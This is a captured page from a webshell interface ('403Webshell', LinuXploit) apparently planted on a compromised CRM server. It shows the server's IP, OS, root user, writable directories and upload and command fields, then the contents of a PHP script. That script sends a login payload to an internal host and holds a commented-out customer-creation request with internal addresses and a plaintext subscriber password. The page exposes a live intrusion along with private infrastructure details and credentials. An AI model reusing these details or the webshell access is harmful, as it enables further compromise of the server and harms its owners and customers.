403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/soltelcocrm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/soltelcocrm/createcustkaashplus.php
<?php



$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://172.22.22.178/login',
  CURLOPT_PORT => 9090,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_SSL_VERIFYPEER => false,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>'{
  "PayLoad": "U2FsdGVkX19bO2S/+TIf+9nSmaE//qAy0Dunoa/py3qPNOw58IFkJM4mZ3ZyjtSaUUe4ux1ZCm6p9+iyXq/jNZILAIM6hNzcqk23n6K4ilo= ",
  "sessionId": null,
  "requestType": "LOGIN"
}',
  CURLOPT_HTTPHEADER => array(
    'Content-Type: application/json'
  ),
));
$response = curl_exec($curl);
$arrResponse = json_decode($response,true);
echo "<pre>";
print_r($arrResponse);
curl_close($curl);
/*$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
$arrheader = explode(':', $header);

$arrCookie = explode('=', $arrheader[4]);
$arrTemp = explode(';',$arrCookie[1]);
$arrExtraInfo = explode(';',$arrheader[7]);
curl_close($curl);  
$token = $arrTemp[0];*/
//echo $arrExtraInfo[0]."===".$token;


/*$crmapirequest = '{
  "payload": {
      "customerInfo": {
      "identityTypeId": "5",
      "mobileNo": "252619100222",
      "customerClassId": "1",
      "firstName": "First Name",
      "middleName": "Middle Name",
      "lastName": "Last Name",
      "fourthName": "Fourth Name",
      "motherName": "Mothers Name",
      "emailAddress": "customer@nomail.com",
      "documentTypeId": "3",
      "idNo": "12345678",
      "nationality": "204",
      "educationLevelId": "7",
      "jobInformation": "IT",
      "monthlyIncomeRangeId": "2",
      "languageId": "2",
      "customerRecordNo": "IT-1234",
      "gender": "M",
      "dateOfBirth": "1996-12-31",
      "placeOfBirth": "Place of Birth",
      "countryID": "204",
      "stateID": "2",
      "cityID": "2",
      "inheritorInfo": {
        "tel": "252615100002",
        "nokName": "Test",
        "idCardNo": "12345688",
        "relationWithCustomer": "Relationship",
        "address": "12 test address"
      },
      "addresses": [{
          "AddressTypeId": "1",
          "isUrban": "1",
          "addressLine1": "12",
          "addressLine2": "543",
          "countryID": "204",
          "stateID": "1",
          "cityID": "1",
          "subCity": "Coychi",
          "sector": "sector 1",
          "zipCode": "1221",
          "faxNum": ""
      },
      {
          "AddressTypeId": "2",
          "isUrban": "1",
          "addressLine1": "",
          "addressLine2": "",
          "countryID": "",
          "stateID": "",
          "cityID": "",
          "subCity": "",
          "sector": "",
          "zipCode": "",
          "faxNum": ""
      },
      {
          "AddressTypeId": "3",
          "isUrban": "1",
          "addressLine1": "",
          "addressLine2": "",
          "countryID": "",
          "stateID": "",
          "cityID": "",
          "subCity": "",
          "sector": "",
          "zipCode": "",
          "faxNum": ""
      }],
      "contactPersonInfo": {
        "mobileNo": "252615100002",
        "partnerContactPersonName": "Test Dealer",
        "address": "12 sample address"
      }
  },
  "subscriberInfo": {
      "subscriptionTypeId": "1",
      "subscriptionId": "252619100222",
      "userName": "252619100222",
      "password": "P@kistan1",
      "deviceTypeId": "1",
      "deviceId": "",
      "IMSI": "",
      "ICCId": "",
      "phoneBrand": "",
      "phoneModel": "",
      "paymodeId": "1",
      "offerId": "42",
      "languageId": "2"
  },
  "table_accounts_length": "10",
  "accounts": [{
      "accountTitle": "First Name Last Name",
      "accountTypeId": "1",
      "currencyId": "250",
      "accountProfileId": "177",
      "accountExpirydate": "2022-12-30",
      "isExternalAccount": "0",
      "parentAccountID": "0",
      "isglAccount": "0",
      "cvv": "",
      "bank": "506"
  }]
}
}';
$curl = curl_init();

curl_setopt_array($curl, array(
CURLOPT_URL =>'http://172.22.22.184:1653/customers',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS =>$crmapirequest,
CURLOPT_HTTPHEADER => array(
    'Content-Type: application/json',
    'Cookie:'.$arrExtraInfo[0].'; token='.$token
),
)); 
$response = curl_exec($curl);
echo "<pre>";
print_r($response);
curl_close($curl); */




Youez - 2016 - github.com/yon3zu
LinuXploit